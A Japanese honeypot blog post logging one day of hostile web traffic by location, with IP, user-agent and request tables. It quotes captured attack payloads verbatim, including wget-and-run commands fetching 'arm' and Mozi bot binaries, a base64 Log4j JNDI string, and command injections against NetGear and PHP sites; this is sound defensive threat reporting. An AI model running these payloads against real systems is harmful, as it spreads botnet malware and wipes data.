2022/02/23 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/02/23分です。

特徴

共通

Spring Bootの脆弱性を狙うアクセス
/.envへのスキャン行為
zgrabによるスキャン行為
phpMyAdminへのスキャン行為

Location:JP

Apache Log4j2の脆弱性(CVE-2021-44228)を狙うアクセス
FCKEditorの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
.jsへのスキャン行為
Laravelへのスキャン行為
WordPress Pluginへのスキャン行為
18.179.20.5に関する不正通信

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  http://2.56.57.7/.s4y/arm;
sh /tmp/arm

cd /tmp;
rm -rf *;
wget  http://23.94.7.175/.s4y/arm;
sh /tmp/arm

cd /tmp;
rm -rf *;
wget  http://54.151.27.172/.s4y/arm;
sh /tmp/arm

Location:US

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Laravelへのスキャン行為
34.68.118.83に関する不正通信
85.206.160.115に関する不正通信

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  http://2.56.57.7/.s4y/arm;
sh /tmp/arm

cd /tmp;
rm -rf *;
wget  http://54.151.27.172/.s4y/arm;
sh /tmp/arm

Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為
Laravelへのスキャン行為
132.145.66.34に関する不正通信
85.206.160.115に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  http://54.151.27.172/.s4y/arm;
sh /tmp/arm

cd /tmp;
rm -rf *;
wget 0.0.0.0/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget http://163.125.30.16:48621/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

cd /tmp;
rm -rf *;
wget net.joostjansen.ml/jaws;
sh /tmp/jaws

Location:SG

D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
curlによるスキャン行為
Apache Solrへのスキャン行為
13.67.44.234に関する不正通信
85.206.160.115に関する不正通信

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  http://23.94.7.175/.s4y/arm;
sh /tmp/arm

cd /tmp;
rm -rf *;
wget  http://54.151.27.172/.s4y/arm;
sh /tmp/arm

他

アクセス数推移

JP：総アクセス数：161 (前日比：105)
US：総アクセス数：234 (前日比：174)
UK：総アクセス数：54 (前日比：-262)
SG：総アクセス数：99 (前日比：44)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	2.56.56.43	Netherlands
3	3.83.137.228	United States
1	20.24.24.111	United States
1	20.124.99.40	United States
1	23.95.100.141	United States
4	27.124.32.148	Singapore
1	34.77.162.9	United States
2	34.105.148.63	United States
1	37.123.163.58	Sweden
1	39.172.93.4	China
1	40.76.59.139	United States
2	45.134.144.134	Hong Kong
1	59.124.70.43	Taiwan
1	62.233.50.179	Russia
1	79.98.25.208	Lithuania
4	80.82.78.39	United Kingdom
1	86.126.139.141	Romania
3	89.248.165.52	United Kingdom
19	104.215.97.46	United States
1	109.237.103.9	Russia
1	120.198.75.234	China
1	128.199.90.118	United Kingdom
3	135.125.244.48	France
13	135.125.246.110	France
2	139.64.132.151	United States
1	159.203.97.86	United States
1	165.22.244.85	United States
1	175.100.20.245	Cambodia
63	180.244.163.58	Indonesia
3	185.254.196.217	Ukraine
5	185.254.196.218	Ukraine
1	192.241.211.139	United States
1	192.241.212.39	United States
1	192.241.212.233	United States
1	198.98.54.150	United States
2	205.185.125.167	United States
3	205.185.127.43	United States
1	209.141.35.105	United States
1	209.141.52.239	United States
1	209.141.61.19	United States
2	209.141.61.40	United States
1	220.134.244.89	Taiwan
1	220.198.206.3	China

UserAgent一覧

件数	UserAgent
31	`-`
3	`Go-http-client/1.1`
63	`Mozilla/5.0 (Linux i386; X11) AppleWebKit/535.23 (KHTML, like Gecko) Version/5.1.7 Safari/536.5`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux i686; rv:21.0) Gecko/20100101 Firefox/21.0`
33	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
12	`Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
3	`Mozilla/5.0 zgrab/0.x`
2	`Mozilla/5.0`
6	`python-requests/2.26.0`
1	`python-requests/2.27.1`
1	`t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//209[.]97[.]147[.]240:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovL3ZhbGxleXNjYW5uZXIuZHVja2Rucy5vcmcvdml0YWwuc2g7IGN1cmwgLU8gaHR0cDovL3ZhbGxleXNjYW5uZXIuZHVja2Rucy5vcmcvdml0YWwuc2g7IGNobW9kIDc3NyB2aXRhbC5zaDsgc2ggdml0YWwuc2g=}')`

リクエスト内容一覧

件数	Method	Request	Protocol
2		`-`
1		`\x03`
1		`\x16\x03\x01\x01\xfa\x01`
1		`\x16\x03\x01\x02`
5		`\x16\x03\x01`
2		`\x16\x03\x03`
1	CONNECT	`hotmail-com.olc[.]protection[.]outlook[.]com:25`	HTTP/1.1
36	GET	`/.env`	HTTP/1.1
1	GET	`/.local`	HTTP/1.1
1	GET	`/.production`	HTTP/1.1
1	GET	`/.remote`	HTTP/1.1
1	GET	`//admin/.env`	HTTP/1.1
1	GET	`//administrator/.env`	HTTP/1.1
1	GET	`//api/.env`	HTTP/1.1
1	GET	`//app/.env`	HTTP/1.1
1	GET	`//apps/.env`	HTTP/1.1
1	GET	`//assets/.env`	HTTP/1.1
1	GET	`//config/.env`	HTTP/1.1
1	GET	`//core/.env`	HTTP/1.1
1	GET	`//core/Datavase/.env`	HTTP/1.1
1	GET	`//core/app/.env`	HTTP/1.1
1	GET	`//cron/.env`	HTTP/1.1
1	GET	`//cronlab/.env`	HTTP/1.1
1	GET	`//database/.env`	HTTP/1.1
1	GET	`//en/.env`	HTTP/1.1
1	GET	`//exapi/.env`	HTTP/1.1
1	GET	`//lab/.env`	HTTP/1.1
1	GET	`//laravel/.env`	HTTP/1.1
1	GET	`//lib/.env`	HTTP/1.1
1	GET	`//psnlink/.env`	HTTP/1.1
1	GET	`//public/.env`	HTTP/1.1
1	GET	`//saas/.env`	HTTP/1.1
1	GET	`//site/.env`	HTTP/1.1
1	GET	`//sitemaps/.env`	HTTP/1.1
1	GET	`//tools/.env`	HTTP/1.1
1	GET	`//uploads/.env`	HTTP/1.1
1	GET	`//v1/.env`	HTTP/1.1
1	GET	`//v2/.env`	HTTP/1.1
1	GET	`//vendor/.env`	HTTP/1.1
1	GET	`//web/.env`	HTTP/1.1
1	GET	`/4.txt`	HTTP/1.1
1	GET	`/:80:undefined`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/includes/general.js`	HTTP/1.1
1	GET	`/admin/view/javascript/common.js`	HTTP/1.1
1	GET	`/administrator/`	HTTP/1.1
1	GET	`/administrator/help/en-GB/toc.json`	HTTP/1.1
1	GET	`/administrator/language/en-GB/install.xml`	HTTP/1.1
1	GET	`/blog/wp-admin/setup-config.php?step=0`	HTTP/1.1
2	GET	`/config/getuser?index=0`	HTTP/1.1
2	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/fckeditor/editor/filemanager/connectors/php/upload.php?Type=Media`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/images/editor/separator.gif`	HTTP/1.1
1	GET	`/js/header-rollup-554.js`	HTTP/1.1
1	GET	`/login.php`	HTTP/1.1
1	GET	`/misc/ajax.js`	HTTP/1.1
1	GET	`/onebets-ecp/api/v1/floatingads?lang=zh-TW`	HTTP/1.1
1	GET	`/plugins/system/debug/debug.xml`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//23[.]94[.]7[.]175/.s4y/arm;sh+/tmp/arm`
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//2[.]56[.]57[.]7/.s4y/arm;sh+/tmp/arm`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//54[.]151[.]27[.]172/.s4y/arm;sh+/tmp/arm`
1	GET	`/site/wp-admin/setup-config.php?step=0`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/test/wp-admin/setup-config.php?step=0`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/build.xml`	HTTP/1.1
1	GET	`/wordpress/wp-admin/setup-config.php?step=0`	HTTP/1.1
1	GET	`/wp-admin/setup-config.php?step=0`	HTTP/1.1
1	GET	`/wp-includes/js/jquery/jquery.js`	HTTP/1.1
1	GET	`/wp/wp-admin/setup-config.php?step=0`	HTTP/1.1
10	GET	`http[:]//18[.]179[.]20[.]5:80/phpmyadmin/scripts/setup.php`	HTTP/1.0
1	GET	`index.php?value[_filename]=cd+/tmp;wget+http[:]//195[.]133[.]18[.]119/beastmode/lolphp.sh;curl+-O+http[:]//195[.]133[.]18[.]119/beastmode/lolphp.sh;chmod+777+lolphp[.]sh;sh+lolphp[.]sh`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
1	OPTIONS	`/`	HTTP/1.0
1	POST	`//admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//lib/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//lib/phpunit/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//lib/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//phpunit/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//vendor/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//vendor/phpunit/phpunit/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//vendor/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	POST	`//www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	20.119.211.143	United States
2	20.199.108.81	United States
1	23.95.100.141	United States
4	23.225.180.198	United States
2	34.88.213.37	United States
2	45.61.168.9	United States
1	45.61.187.12	United States
8	45.146.165.37	Russia
6	51.79.29.48	Canada
40	54.173.84.22	United States
1	62.233.50.179	Russia
1	69.165.224.12	Canada
4	80.82.78.39	United Kingdom
1	81.17.24.154	Panama
1	81.161.22.111	Russia
6	89.248.165.52	United Kingdom
122	89.248.168.215	United Kingdom
2	109.237.103.9	Russia
1	139.180.190.81	United States
1	162.142.125.210	United States
1	162.142.125.221	United States
1	167.94.138.61	United States
1	167.248.133.62	United States
1	172.104.138.223	United States
1	172.105.89.161	United States
1	177.8.244.38	Brazil
4	185.142.236.40	Seychelles
1	192.241.198.215	United States
1	192.241.213.154	United States
2	205.185.125.167	United States
4	209.141.35.105	United States
1	209.141.52.239	United States
3	209.141.61.19	United States
3	209.141.61.40	United States
1	209.141.62.127	United States

UserAgent一覧

件数	UserAgent
38	`-`
3	`Go-http-client/1.1`
1	`Mozila/5.0`
1	`Mozilla/5.0 (Linux; Android 12; SAMSUNG SM-G991U) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/16.0 Chrome/92.0.4515.166 Mobile Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/601.5.17 (KHTML, like Gecko) Version/9.1 Safari/537.86.5`
1	`Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50`
8	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36`
40	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0`
12	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
2	`Mozilla/5.0 zgrab/0.x`
2	`Mozilla/5.0`
122	`python-requests/2.22.0`

リクエスト内容一覧

件数	Method	Request	Protocol
4		`-`
1		`\x03`
4		`\x16\x03\x01`
1	CONNECT	`85[.]206[.]160[.]115:80`	HTTP/1.1
1	CONNECT	`hotmail-com.olc[.]protection[.]outlook[.]com:25`	HTTP/1.1
14	GET	`/.env`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/0bef`	HTTP/1.0
1	GET	`/2phpmyadmin/scripts/setup.php`	HTTP/1.1
1	GET	`/4.txt`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/MyAdmin/scripts/db___.init.php`	HTTP/1.1
2	GET	`/MyAdmin/scripts/setup.php`	HTTP/1.1
1	GET	`/PHPMYADMIN/scripts/setup.php`	HTTP/1.1
1	GET	`/PMA/scripts/db___.init.php`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/_phpmyadmin/scripts/setup.php`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/admin/phpmyadmin/scripts/setup.php`	HTTP/1.1
1	GET	`/admin/pma/scripts/setup.php`	HTTP/1.1
1	GET	`/admin/scripts/setup.php`	HTTP/1.1
1	GET	`/administrator/components/com_joommyadmin/phpmyadmin/scripts/setup.php`	HTTP/1.1
1	GET	`/apache-default/phpmyadmin/scripts/setup.php`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/application/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/auth/.env`	HTTP/1.1
1	GET	`/back/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/blog/phpmyadmin/scripts/setup.php`	HTTP/1.1
1	GET	`/cli/.env`	HTTP/1.1
1	GET	`/config/.env`	HTTP/1.1
1	GET	`/config/config.inc.php`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/cp/.env`	HTTP/1.1
1	GET	`/cpanelphpmyadmin/scripts/setup.php`	HTTP/1.1
1	GET	`/cpphpmyadmin/scripts/setup.php`	HTTP/1.1
1	GET	`/database/scripts/setup.php`	HTTP/1.1
1	GET	`/db/scripts/setup.php`	HTTP/1.1
1	GET	`/dbadmin/scripts/setup.php`	HTTP/1.1
1	GET	`/dependencies/.env`	HTTP/1.1
1	GET	`/deployment/.env`	HTTP/1.1
1	GET	`/dev/.env`	HTTP/1.1
1	GET	`/development/.env`	HTTP/1.1
1	GET	`/docker/.env`	HTTP/1.1
1	GET	`/document/.env`	HTTP/1.1
1	GET	`/engine/.env`	HTTP/1.1
2	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/forum/phpmyadmin/scripts/setup.php`	HTTP/1.1
1	GET	`/framework/.env`	HTTP/1.1
1	GET	`/frontend/.env`	HTTP/1.1
1	GET	`/fuN3`	HTTP/1.0
1	GET	`/hudson`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/laravel-artisa/.env`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
1	GET	`/login.php`	HTTP/1.1
1	GET	`/login/.env`	HTTP/1.1
1	GET	`/master/.env`	HTTP/1.1
1	GET	`/my/scripts/setup.php`	HTTP/1.1
1	GET	`/myadmin/scripts/db___.init.php`	HTTP/1.1
1	GET	`/myadmin/scripts/setup.php`	HTTP/1.1
1	GET	`/mysql-admin/scripts/setup.php`	HTTP/1.1
1	GET	`/mysql/scripts/setup.php`	HTTP/1.1
1	GET	`/mysqladmin/scripts/setup.php`	HTTP/1.1
1	GET	`/mysqlmanager/scripts/setup.php`	HTTP/1.1
1	GET	`/onebets-ecp/api/v1/floatingads?lang=zh-TW`	HTTP/1.1
1	GET	`/p/m/a/scripts/setup.php`	HTTP/1.1
1	GET	`/pHpMyAdMiN/scripts/setup.php`	HTTP/1.1
1	GET	`/personal/.env`	HTTP/1.1
1	GET	`/php-my-admin/scripts/setup.php`	HTTP/1.1
1	GET	`/php/phpmyadmin/scripts/setup.php`	HTTP/1.1
1	GET	`/phpAdmin/scripts/setup.php`	HTTP/1.1
1	GET	`/phpLDAPadmin/scripts/setup`	HTTP/1.1
1	GET	`/phpMyAdmin-2.10.0.0/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-2.10.0.1/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-2.10.1.0/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-2.10.2.0/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.1-all-languages/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.11.3-all-languages/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.11.3/scripts/setup.ph`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.11.3/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.11/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.4.0-all-languages/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.4.0-english/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.5.0-all-languages/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.5.0-english/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.6.0-all-languages/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.6.0-english/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.7.0-all-languages/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.7.0-english/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.7.1-all-languages/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.7.1-english/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.8.0-all-languages/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.8.0-english/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.9.0-all-languages/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.9.0-english/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.9.1-all-languages/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.9.1-english/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.9.2-all-languages/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.9.2-english/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.9.3-all-languages/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.9.3-english/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.9.4-all-languages/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.9.4-english/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.9.5-all-languages/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2.11.9.5-english/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-2/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-3.0.0-rc1-english/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-3.0.0.0-all-languages/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-3.0.0.0-all-languages/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-3.0.0.0-english/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-3.0.1.0-all-languages/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-3.0.1.0-english/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-3.1.0.0-all-languages/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-3.1.0.0-english/scripts/setup.php%20`	HTTP/1.1
1	GET	`/phpMyAdmin-3.1.1.0-all-languages/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-3.1.1.0-english/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-3.1.2.0-all-languages/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-3.1.2.0-english/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-3.1.3.0-all-languages/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin-3.1.3.0-english/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin/css/phpmyadmin.css.php`	HTTP/1.1
1	GET	`/phpMyAdmin/libraries/database_interface.lib.php`	HTTP/1.1
1	GET	`/phpMyAdmin/scripts/config.inc.php`	HTTP/1.1
1	GET	`/phpMyAdmin/scripts/db.init.php`	HTTP/1.1
1	GET	`/phpMyAdmin/scripts/db___.init.php`	HTTP/1.1
1	GET	`/phpMyAdmin/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin3/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyadmin-2/scripts/setup.php`	HTTP/1.1
1	GET	`/phpadmin/scripts/setup.php`	HTTP/1.1
1	GET	`/phpmanager/scripts/setup.php`	HTTP/1.1
1	GET	`/phpmy-admin/scripts/setup.php`	HTTP/1.1
1	GET	`/phpmyadmin/config.user.inc.php`	HTTP/1.1
1	GET	`/phpmyadmin/scripts/db.init.php`	HTTP/1.1
1	GET	`/phpmyadmin/scripts/db___.init.php`	HTTP/1.1
1	GET	`/phpmyadmin/scripts/setup.php`	HTTP/1.1
1	GET	`/phpmyadmin1/scripts/setup.php`	HTTP/1.1
1	GET	`/phpmyadmin2/scripts/setup.php`	HTTP/1.1
1	GET	`/phpmyadmin3/scripts/setup.php`	HTTP/1.1
1	GET	`/phpmyadmin4/scripts/setup.php`	HTTP/1.1
1	GET	`/phpmyadmin5/scripts/setup.php`	HTTP/1.1
1	GET	`/phpmyadmin6/scripts/setup.php`	HTTP/1.1
1	GET	`/phpmyadmin7/scripts/setup.php`	HTTP/1.1
1	GET	`/pma/scripts/db___.init.php`	HTTP/1.1
1	GET	`/pma/scripts/setup.php`	HTTP/1.1
1	GET	`/private/.env`	HTTP/1.1
1	GET	`/project/.env`	HTTP/1.1
1	GET	`/protected/.env`	HTTP/1.1
1	GET	`/rest/.env`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/scripts/db.init.php`	HTTP/1.1
1	GET	`/scripts/db___.init.php`	HTTP/1.1
1	GET	`/scripts/setup.php`	HTTP/1.1
1	GET	`/search/.env`	HTTP/1.1
1	GET	`/server/.env`	HTTP/1.1
1	GET	`/setup.php`	HTTP/1.1
1	GET	`/shared/.env`	HTTP/1.1
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//2[.]56[.]57[.]7/.s4y/arm;sh+/tmp/arm`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//54[.]151[.]27[.]172/.s4y/arm;sh+/tmp/arm`
1	GET	`/site/.env`	HTTP/1.1
2	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/sql/scripts/setup.php`	HTTP/1.1
1	GET	`/sqladm/scripts/setup.php`	HTTP/1.1
1	GET	`/sqladmin/scripts/setup.php`	HTTP/1.1
1	GET	`/sqlmanager/scripts/setup.php`	HTTP/1.1
1	GET	`/sqlweb/scripts/setup.php`	HTTP/1.1
1	GET	`/src/.env`	HTTP/1.1
1	GET	`/system/.env`	HTTP/1.1
1	GET	`/typo3/phpmyadmin/scripts/setup.php`	HTTP/1.1
2	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/vod_installer/.env`	HTTP/1.1
1	GET	`/vue/.env`	HTTP/1.1
1	GET	`/web/.env`	HTTP/1.1
1	GET	`/web/phpMyAdmin/scripts/setup.php`	HTTP/1.1
1	GET	`/web/phpmyadmin/scripts/setup.php`	HTTP/1.1
1	GET	`/web/scripts/setup.php`	HTTP/1.1
1	GET	`/webadmin/scripts/setup.php`	HTTP/1.1
1	GET	`/webdb/scripts/setup.php`	HTTP/1.1
1	GET	`/websql/scripts/setup.php`	HTTP/1.1
1	GET	`/xampp/phpmyadmin/scripts/setup.php`	HTTP/1.1
